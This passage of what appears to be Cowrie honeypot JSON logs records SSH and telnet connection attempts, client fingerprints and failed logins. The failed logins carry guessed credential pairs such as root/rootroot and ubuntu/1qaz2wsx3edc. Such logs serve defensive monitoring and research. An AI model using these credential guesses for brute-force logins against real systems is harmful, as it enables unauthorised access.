langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:42:19.394398Z","src_ip":"120.28.109.188","session":"c667c9681b9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"web","message":"login attempt [ubuntu/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:42:20.464105Z","src_ip":"120.28.109.188","session":"c667c9681b9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:42:21.730781Z","src_ip":"120.28.109.188","session":"c667c9681b9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.76157736778259,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:42:45.339284Z","src_ip":"212.55.149.117","session":"9b139b0ac07e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":43943,"dst_ip":"10.17.0.5","dst_port":23,"session":"801def6c28e4","protocol":"telnet","message":"New connection: 212.55.149.117:43943 (10.17.0.5:23) [session: 801def6c28e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:09.717832Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":57138,"dst_ip":"159.203.135.109","dst_port":22,"session":"0498267e7655","protocol":"ssh","message":"New connection: 120.28.109.188:57138 (159.203.135.109:22) [session: 0498267e7655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:18.018562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:18.023356Z","src_ip":"120.28.109.188","session":"0498267e7655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:18.282716Z","src_ip":"120.28.109.188","session":"0498267e7655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"010101","message":"login attempt [ubuntu/010101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:19.349427Z","src_ip":"120.28.109.188","session":"0498267e7655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":63616,"dst_ip":"10.17.0.5","dst_port":22,"session":"b47d33db7540","protocol":"ssh","message":"New connection: 176.65.132.190:63616 (10.17.0.5:22) [session: b47d33db7540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:20.253130Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:20.257895Z","src_ip":"176.65.132.190","session":"b47d33db7540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:20.610752Z","src_ip":"120.28.109.188","session":"0498267e7655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":34272,"dst_ip":"10.17.0.5","dst_port":22,"session":"0535d68e4d55","protocol":"ssh","message":"New connection: 198.98.56.227:34272 (10.17.0.5:22) [session: 0535d68e4d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:28.287604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:28.296414Z","src_ip":"198.98.56.227","session":"0535d68e4d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:28.301242Z","src_ip":"198.98.56.227","session":"0535d68e4d55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"adminadmin","message":"login attempt [ftpuser/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:28.335533Z","src_ip":"198.98.56.227","session":"0535d68e4d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:29.347599Z","src_ip":"198.98.56.227","session":"0535d68e4d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00907254219055,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:37.259054Z","src_ip":"212.55.149.117","session":"05e60721ad5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":44354,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c77e7d6b964","protocol":"ssh","message":"New connection: 113.190.252.123:44354 (159.203.135.109:22) [session: 2c77e7d6b964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:42.056314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:42.061406Z","src_ip":"113.190.252.123","session":"2c77e7d6b964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:42.570028Z","src_ip":"113.190.252.123","session":"2c77e7d6b964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:44.125403Z","src_ip":"113.190.252.123","session":"2c77e7d6b964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:45.640106Z","src_ip":"113.190.252.123","session":"2c77e7d6b964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":19408,"dst_ip":"10.17.0.5","dst_port":23,"session":"f896707dbab9","protocol":"telnet","message":"New connection: 212.55.149.117:19408 (10.17.0.5:23) [session: f896707dbab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:43:45.744594Z"}
{"eventid":"cowrie.session.closed","duration":60.99032759666443,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:10.708062Z","src_ip":"212.55.149.117","session":"801def6c28e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":57212,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fdb425a108f","protocol":"ssh","message":"New connection: 50.225.176.238:57212 (10.17.0.5:22) [session: 8fdb425a108f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:29.009269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:29.014545Z","src_ip":"50.225.176.238","session":"8fdb425a108f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:29.027113Z","src_ip":"50.225.176.238","session":"8fdb425a108f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ninja","message":"login attempt [admin/ninja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:29.106161Z","src_ip":"50.225.176.238","session":"8fdb425a108f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:30.122801Z","src_ip":"50.225.176.238","session":"8fdb425a108f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":53334,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6de8880cd5b","protocol":"ssh","message":"New connection: 198.98.56.227:53334 (10.17.0.5:22) [session: e6de8880cd5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:32.007141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:32.024089Z","src_ip":"198.98.56.227","session":"e6de8880cd5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:32.034540Z","src_ip":"198.98.56.227","session":"e6de8880cd5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx3edc","message":"login attempt [ubuntu/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:32.087311Z","src_ip":"198.98.56.227","session":"e6de8880cd5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.200.208","src_port":59812,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5480bdb7150","protocol":"ssh","message":"New connection: 195.154.200.208:59812 (10.17.0.5:22) [session: a5480bdb7150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:32.557328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:32.562960Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:32.648815Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.111598Z","src_ip":"198.98.56.227","session":"e6de8880cd5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:03:17:2b:da:ed:a0:19:fb:da:0c:e3:d3:17:2f:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBYe3wcP5kTCYvj9390U0CvPc8Q4VEBjYUromzW7EiJ224p4OblAMVo0svStK9EG2VELpcAE9vALNzCU15jhmbya3RZS91D81fHNVB/4Ju9hrL0t6pr9mclymkSHom/V/wfulLwGjiB0smWxf66Ku/oHmIaLP+YHP1iBTVOCwzW/LFcWMpq2bKZ4USCsUEgtzlmvf7AJphuNd1EHKRNvSQJAeZOvxjGpBUPYEup3v4bhfCRfHmwT4cDjbn1Ew/5TBZRmxFIe3bfy9e8TtJyzA5OgAc5UPFTkqlpD6B1cXV1qgTfZdMvirPKnEWZHXYl73dwZMs/p+5E2vyA+8Nk1cH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:03:17:2b:da:ed:a0:19:fb:da:0c:e3:d3:17:2f:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.339956Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:03:17:2b:da:ed:a0:19:fb:da:0c:e3:d3:17:2f:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBYe3wcP5kTCYvj9390U0CvPc8Q4VEBjYUromzW7EiJ224p4OblAMVo0svStK9EG2VELpcAE9vALNzCU15jhmbya3RZS91D81fHNVB/4Ju9hrL0t6pr9mclymkSHom/V/wfulLwGjiB0smWxf66Ku/oHmIaLP+YHP1iBTVOCwzW/LFcWMpq2bKZ4USCsUEgtzlmvf7AJphuNd1EHKRNvSQJAeZOvxjGpBUPYEup3v4bhfCRfHmwT4cDjbn1Ew/5TBZRmxFIe3bfy9e8TtJyzA5OgAc5UPFTkqlpD6B1cXV1qgTfZdMvirPKnEWZHXYl73dwZMs/p+5E2vyA+8Nk1cH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.343893Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:0c:12:20:f8:f5:aa:a1:08:3e:f5:61:95:69:54:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINcPlJaJQ3MyenMNvEUJ0AQgJ7SQuwHC76g0nJJH42C/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 76:0c:12:20:f8:f5:aa:a1:08:3e:f5:61:95:69:54:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.428319Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:0c:12:20:f8:f5:aa:a1:08:3e:f5:61:95:69:54:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINcPlJaJQ3MyenMNvEUJ0AQgJ7SQuwHC76g0nJJH42C/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.432382Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:8b:a6:16:70:f0:16:71:ed:62:65:e5:e1:e6:bf:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxmEp2e7FR5ABXZKImR/UlgLEd/fSfgILh9d5gj6LcUGs4i9g2LDWJw62eLUx1HD50nZlbRCrLM7FdlXD4RkuKvXv/y8GTkcoMGMT7tc4SxPVGl6NQTHD08k8djytiuSrciYRHPdyZ1VqY4vhyjTj04y7nsm1EY93KUXuOvcm1+0ttjOFdY7F9XVKwS7PM7mH2Ks2R9SYdBor+piF4/nxvkb34+5ZEWu4S1/Pq4As/iQJnzSv8Rpfp/UVDWQoftxuFS5kyHoWDOEcJHTkHd3hOPrvTdLf3fwfVxqWueNwjBWIz5KD+w58rEFaDJWTECJOJD57QntRWRA5pqjB1RKJ/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:8b:a6:16:70:f0:16:71:ed:62:65:e5:e1:e6:bf:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.519013Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
